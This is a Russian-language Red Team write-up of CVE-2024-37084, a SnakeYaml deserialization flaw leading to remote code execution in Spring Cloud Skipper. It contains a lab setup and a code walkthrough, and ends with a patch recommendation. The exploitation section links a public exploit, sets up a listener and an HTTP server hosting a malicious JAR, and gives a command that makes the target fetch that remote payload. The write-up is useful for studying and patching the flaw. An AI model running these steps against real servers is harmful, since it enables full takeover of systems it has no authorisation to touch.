CVE-2024-37084: удаленное выполнение кода в Spring Cloud
Введение
Spring Cloud Skipper
— это инструмент, который позволяет находить приложения Spring Boot
и управлять их жизненным циклом на нескольких облачных платформах.
Вы можете использовать Skipper
отдельно или интегрировать его с конвейерами непрерывной интеграции для обеспечения непрерывного развёртывания приложений.
Skipper возник из-за необходимости выполнять «потоковые изменения» в Spring Cloud Data Flow
. Позже было признано, что для обеспечения этой функции следует создать проект более общего назначения Skipper
, чтобы он также мог быть полезным набором инструментов вне контекста Spring Cloud Data Flow
.
Данная статья представлена исключительно в образовательных целях. Red Team сообщество "GISCYBERTEAM" не несёт ответственности за любые последствия ее использования третьими лицами.
Описание уязвимости
CVE-2024-37084
— это уязвимость в Spring Cloud Skipper
, которая позволяет получить доступ к исходным данным YAML
.
Чтобы преобразовать объект в формат Yaml
(стандартный Yaml
-конструктор), выполните обратную последовательность (десериализацию
) для этого объекта.
Десериализация (deserialization) - это процесс создания структуры данных из битовой последовательности путем перевода этой последовательности в объекты и их упорядочивания (структуризации).
RCE (Remote Code Execution) - это тип уязвимости в веб-приложениях, позволяющий злоумышленникам выполнять произвольный код на удаленном сервере. Это одна из самых опасных уязвимостей, так как она дает полный контроль над системой.
Подготовка стенда
Скачиваем версию 2.11.0 Spring Cloud Data Flow
.
https://github.com/spring-cloud/spring-cloud-dataflow/releases
В spring-cloud-dataflow-2.11.0/src/docker-compose/docker-compose.yml
Добавляем следующие строчки для отладки:
JAVA_TOOL_OPTIONS=agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address =*:5005
- "5005:5005"
sudo docker compose up --build
После установки можно просмотреть панель управления и API Skipper Server
:
Разбор уязвимости
Находим функцию загрузки по пути:
spring-cloud-dataflow-2.11.0/spring-cloud-skipper/spring-cloud-skipper-server-core/src/main/java/org/springframework/cloud/skipper/server/service/PackageService.java
Repository localRepositoryToUpload = getRepositoryToUpload(uploadRequest.getRepoName());
Эта функция проверяет данные запроса на загрузку, чтобы убедиться, что они действительны, прежде чем продолжить.
Repository localRepositoryToUpload = getRepositoryToUpload(uploadRequest.getRepoName());
Указание репозитория, в который будет загружен пакет, на основе имени репозитория, указанного в запросе.
packageDirPath = TempFileUtils.createTempDirectory("skipperUpload"); File packageDir = new File(packageDirPath + File.separator + uploadRequest.getName()); packageDir.mkdir(); Path packageFile = Paths.get(packageDir.getPath() + File.separator + uploadRequest.getName() + "-" + uploadRequest.getVersion() + "." + uploadRequest.getExtension()); Files.write(packageFile, uploadRequest.getPackageFileAsBytes());
Создание временной директории в системе для размещения загружаемого пакета. Затем из данных пакета создаются временные файлы и сохраняются в этой директории.
ZipUtil.unpack(packageFile.toFile(), packageDir);
После загрузки файл будет распакован, чтобы иметь возможность считывать и обрабатывать содержащиеся в нем данные.
String unzippedPath = packageDir.getAbsolutePath() + File.separator + uploadRequest.getName() + "-" + uploadRequest.getVersion(); File unpackagedFile = new File(unzippedPath); Assert.isTrue(unpackagedFile.exists(), "Package is expected to be unpacked, but it doesn't exist");
Подтверждает, что процесс распаковки прошел успешно и распакованный файл существует.
Package packageToUpload = this.packageReader.read(unpackagedFile); PackageMetadata packageMetadata = packageToUpload.getMetadata(); if (!packageMetadata.getName().equals(uploadRequest.getName()) || !packageMetadata.getVersion().equals(uploadRequest.getVersion())) { throw new SkipperException(String.format("Package definition in the request [%s:%s] differs from one inside the package.yml [%s:%s]", uploadRequest.getName(), uploadRequest.getVersion(), packageMetadata.getName(), packageMetadata.getVersion())); }
Проверка, что прочитанные метаданные из пакета были разархивированы, и проведено сравнение с запросом на загрузку данных.
if (localRepositoryToUpload != null) { packageMetadata.setRepositoryId(localRepositoryToUpload.getId()); packageMetadata.setRepositoryName(localRepositoryToUpload.getName()); } packageMetadata.setPackageFile(new PackageFile((uploadRequest.getPackageFileAsBytes()))); return this.packageMetadataRepository.save(packageMetadata);
Связывает метаданные пакета с репозиторием (если таковые имеются), а затем сохраняет метаданные пакета в базе данных.
finally { if (packageDirPath != null && !FileSystemUtils.deleteRecursively(packageDirPath.toFile())) { logger.warn("Temporary directory can not be deleted: " + packageDirPath); } }
Ранее созданные временные директории будут удалены после завершения процесса.
Если удалить не удается, записываются предупреждения в журнал.
Описание метода read()
в файле DefaultPackageReader.java
Assert.notNull(packageDirectory, "File to load package from can not be null"); try (Stream<Path> paths = Files.walk(Paths.get(packageDirectory.getPath()), 1)) { files = paths.map(i -> i.toAbsolutePath().toFile()).collect(Collectors.toList()); } catch (IOException e) { throw new SkipperException("Could not process files in path " + packageDirectory.getPath() + ". " + e.getMessage(), e); }
- Проверяет правильность передачи по директориям. Затем использует
Files.walk()
, чтобы просмотреть файлы в директории, получает список файлов и сохраняет вfiles
. - Проверяет, что директория не пуста, и обработывает исключение в случае, если не удается прочитать
- Обработка каждого файла
for (File file : files) { if (file.getName().equalsIgnoreCase("package.yaml") || file.getName().equalsIgnoreCase("package.yml")) { pkg.setMetadata(loadPackageMetadata(file)); // note continue; } if (file.getName().endsWith("manifest.yaml") || file.getName().endsWith("manifest.yml")) { fileHolders.add(loadManifestFile(file)); continue; } if (file.getName().equalsIgnoreCase("values.yaml") || file.getName().equalsIgnoreCase("values.yml")) { pkg.setConfigValues(loadConfigValues(file)); continue; } if (file.getAbsoluteFile().isDirectory() && file.getName().equals("templates")) { pkg.setTemplates(loadTemplates(file)); continue; } if ((file.getName().equalsIgnoreCase("packages") && file.isDirectory())) { File[] dependentPackageDirectories = file.listFiles(); List<Package> dependencies = new ArrayList<>(); for (File dependentPackageDirectory : dependentPackageDirectories) { dependencies.add(read(dependentPackageDirectory)); } pkg.setDependencies(dependencies); } }
Этот цикл просматривает файлы, сортируя их в соответствии с каждым типом, который должен обрабатываться.
private PackageMetadata loadPackageMetadata(File file) { DumperOptions options = new DumperOptions(); Representer representer = new Representer(options); representer.getPropertyUtils().setSkipMissingProperties(true); LoaderOptions loaderOptions = new LoaderOptions(); Yaml yaml = new Yaml(new Constructor(PackageMetadata.class, loaderOptions), representer); String fileContents = null; try { fileContents = FileUtils.readFileToString(file); } catch (IOException e) { throw new SkipperException("Error reading yaml file", e); } PackageMetadata pkgMetadata = (PackageMetadata) yaml.load(fileContents); return pkgMetadata; }
Эта функция использует библиотеку SnakeYaml
для чтения файла YAML
и преобразует его в objectPackageMetadata
.
Она использует конструктор для отображения свойств файла YAML
в object Java
.
private List<Template> loadTemplates(File templatePath) { try (Stream<Path> paths = Files.walk(Paths.get(templatePath.getAbsolutePath()), 1)) { files = paths.map(i -> i.toAbsolutePath().toFile()).collect(Collectors.toList()); } catch (IOException e) { throw new SkipperException("Could not process files in template path " + templatePath, e); } List<Template> templates = new ArrayList<>(); for (File file : files) { if (isYamlFile(file)) { Template template = new Template(); template.setName(file.getName()); try { template.setData(new String(Files.readAllBytes(file.toPath()), "UTF-8")); } catch (IOException e) { throw new SkipperException("Could read template file " + file.getAbsoluteFile(), e); } templates.add(template); } } return templates; }
Эта функция переходит в папку "шаблоны", считывает каждый файл YAML
и преобразует в object Template
.
Она загружает содержимое файла и сохраняет в шаблоне для последующего использования.
private ConfigValues loadConfigValues(File file) { ConfigValues configValues = new ConfigValues(); try { configValues.setRaw(new String(Files.readAllBytes(file.toPath()), "UTF-8")); } catch (IOException e) { throw new SkipperException("Could read values file " + file.getAbsoluteFile(), e); } return configValues; }
Считывает значения файла.yaml
или values.yml
и сохраняет его содержимое в объекте ConfigValues
.
private PackageMetadata loadPackageMetadata(File file) { // The Representer will not try to set the value in the YAML on the // Java object if it isn't present on the object DumperOptions options = new DumperOptions(); Representer representer = new Representer(options); representer.getPropertyUtils().setSkipMissingProperties(true); LoaderOptions loaderOptions = new LoaderOptions(); Yaml yaml = new Yaml(new Constructor(PackageMetadata.class, loaderOptions), representer); String fileContents = null; try { fileContents = FileUtils.readFileToString(file); } catch (IOException e) { throw new SkipperException("Error reading yaml file", e); } PackageMetadata pkgMetadata = (PackageMetadata) yaml.load(fileContents); return pkgMetadata; } PackageMetadata pkgMetadata = (PackageMetadata) yaml.load(fileContents);
Содержимое строки YAML
(FileContents
) преобразуется в объект PackageMetadata
с помощью yaml.load(FileContents)
из библиотеки SnakeYaml
.
Десериализация: Когда SnakeYaml
встречает тег !!javax.script.ScriptEngineManager
создает объект класса Java
.
Это может привести к выполнению кода Java
.
Реализация уязвимости
Готовое решение для генерации полезной нагрузки можно скачать из github
репозитория:
https://github.com/Ly4j/CVE-2024-37084-Exp
Меняем содержимое функции Runtime.getRunrime().exec()
в файле src/rtsploit/AwesomeScriptEngineFactory.java
.
Поднимаем слушателя на указанный в нагрузке порт:
Запускаем generate-yaml-payload.jar.py
, чтобы создать файл yaml-payload.jar командой
:
python generate-yaml-payload.jar.py
Поднимаем веб-сервис с помощью Python командой:
python3 -m http.server 8080
Каждый раз, когда вы выполняете другую команду, вам нужно переименовывать файлyaml-payload.jar
, то есть файлxx.jar
, к которому вы обращаетесь, каждый раз под другим именем.
В противном случае новая команда не будет действовать.
cve-2024-37084-exp.py -u http://localhost:7577 -payload http://ip-address:port/yaml-payload.jar
Заключение
В версиях Spring Cloud Data Flow
до 2.11.4
злоумышленник, имеющий доступ к API-интерфейсу сервера Skipper
, может использовать специально созданный запрос на загрузку для записи произвольного файла в любое место в файловой системе, что может привести к выполнению произвольного кода на стороне сервера.
Чтобы исправить уязвимость CVE-2024-37084
в Spring Cloud Data Flow
, рекомендуется обновить версию до 2.11.4
или выше
.